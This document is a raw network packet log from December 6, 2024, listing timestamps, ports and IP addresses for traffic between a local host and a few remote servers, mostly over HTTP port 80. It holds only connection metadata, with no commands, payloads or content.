Dec 6, 2024 18:45:49.078752995 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.078824997 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.078862906 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.078902960 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.079758883 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.079804897 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.080885887 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.080898046 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.080918074 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.080959082 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.080998898 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.081986904 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.082034111 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.082070112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.082135916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.082135916 CET	443	49814	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:49.082169056 CET	443	49814	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:49.082190037 CET	443	49814	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:49.082195997 CET	49814	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:49.082233906 CET	49814	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:49.082243919 CET	443	49814	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:49.082300901 CET	49814	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:49.082961082 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.082998037 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.083175898 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.083219051 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.084033966 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.084080935 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.084408998 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.084572077 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.085103989 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.085212946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.086242914 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.086261034 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.086275101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.086282969 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.086296082 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.086313009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.096187115 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.096278906 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.096282005 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.096304893 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.096321106 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.096353054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.096369982 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.096385956 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.096407890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.096504927 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.096551895 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.096640110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.096654892 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.096672058 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.096684933 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.096695900 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.096697092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.096710920 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.096728086 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.096940041 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.096951962 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.096970081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.096987009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.097007990 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.097141981 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.097155094 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.097167015 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.097179890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.097183943 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.097201109 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.097201109 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.097214937 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.097779989 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.097825050 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.097906113 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.097959995 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.099004984 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.099045038 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.099046946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.099061966 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.099082947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.099107981 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.099170923 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.099220991 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.100152969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.100203991 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.100963116 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.101006031 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.101301908 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.101315022 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.101345062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.101361990 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.102382898 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.102427006 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.102447987 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.102485895 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.103418112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.103457928 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.104263067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.104307890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.104480028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.104491949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.104521990 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.104535103 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.105525017 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.105562925 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.107558966 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.107598066 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.107637882 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.107664108 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.107673883 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.107677937 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.107702017 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.107779980 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.107779980 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.107837915 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.108771086 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.108809948 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.109054089 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.109088898 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.109898090 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.109910011 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.109939098 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.109952927 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.110910892 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.110955954 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.110985041 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.111080885 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.112129927 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.112190008 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.112315893 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.112354040 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.113199949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.113240957 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.113317966 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.113382101 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.114134073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.114177942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.115348101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.115362883 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.115376949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.115413904 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.115452051 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.116250038 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.116411924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.116470098 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.117331028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.117737055 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.117779970 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.118331909 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.118377924 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.247288942 CET	443	49814	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:49.247378111 CET	49814	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:49.247392893 CET	443	49814	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:49.247446060 CET	49814	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:49.257726908 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.257981062 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.257992983 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.258059025 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.258094072 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.258135080 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.259063959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.259083033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.259123087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.260113955 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.260154963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.260477066 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.260991096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.261029005 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.261473894 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.261533976 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.261956930 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.262001038 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.262154102 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.262192965 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.263153076 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.263287067 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.264059067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.264159918 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.264172077 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.264183998 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.264219046 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.264234066 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.264540911 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.264568090 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.264584064 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.264630079 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.264652014 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.264666080 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.264692068 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.265228987 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.265269041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.265474081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.265521049 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.266289949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.266367912 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.266623020 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.266668081 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.266823053 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.266849041 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.266864061 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.266902924 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.266917944 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.266928911 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.266956091 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.267370939 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.267415047 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.267538071 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.267599106 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.268397093 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.268440008 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.269454956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.269493103 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.269520044 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.269531965 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.269552946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.269575119 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.270648003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.270661116 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.270685911 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.270699978 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.271959066 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.272001028 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.272144079 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.272186041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.272587061 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.272603989 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.272619009 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.272636890 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.272649050 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.272675991 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.272705078 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.272706985 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.272716045 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.272741079 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.272763014 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.273765087 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.273840904 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.273956060 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.274024963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.274876118 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.274965048 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.275748968 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.275793076 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.275969982 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.276020050 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.276232004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.276276112 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.277004004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.277069092 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.277314901 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.277362108 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.278080940 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.278124094 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.278260946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.278301001 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.278692007 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.278722048 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.278736115 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.278744936 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.278753042 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.278764009 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.278805971 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.279124022 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.279280901 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.279304028 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.279325962 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.280292988 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.280330896 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.280375004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.280411005 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.281292915 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.281311989 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.281343937 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.281358957 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.282380104 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.282429934 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.282521963 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.282732010 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.283427954 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.283473969 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.283732891 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.283783913 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.284529924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.284593105 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.284660101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.284702063 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.285614967 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.285806894 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.285808086 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.285846949 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.286664009 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.286710024 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.286910057 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.286953926 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.287744999 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.287758112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.287795067 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.287810087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.288794041 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.288841009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.288957119 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.288992882 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.289885998 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.289942980 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.289958954 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.290005922 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.290946960 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.291111946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.291676044 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.291717052 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.292042017 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.292082071 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.292335033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.292402029 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.293169022 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.293212891 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.293623924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.293670893 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.294312000 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.294323921 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.294369936 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.294394970 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.295229912 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.295298100 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.295372009 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.295413971 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.296371937 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.296389103 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.296416998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.296430111 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.297389984 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.297437906 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.298306942 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.298348904 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.298532009 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.298552990 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.298594952 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.299520969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.299568892 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.300134897 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.300188065 CET	49796	80	192.168.2.6	185.215.113.206
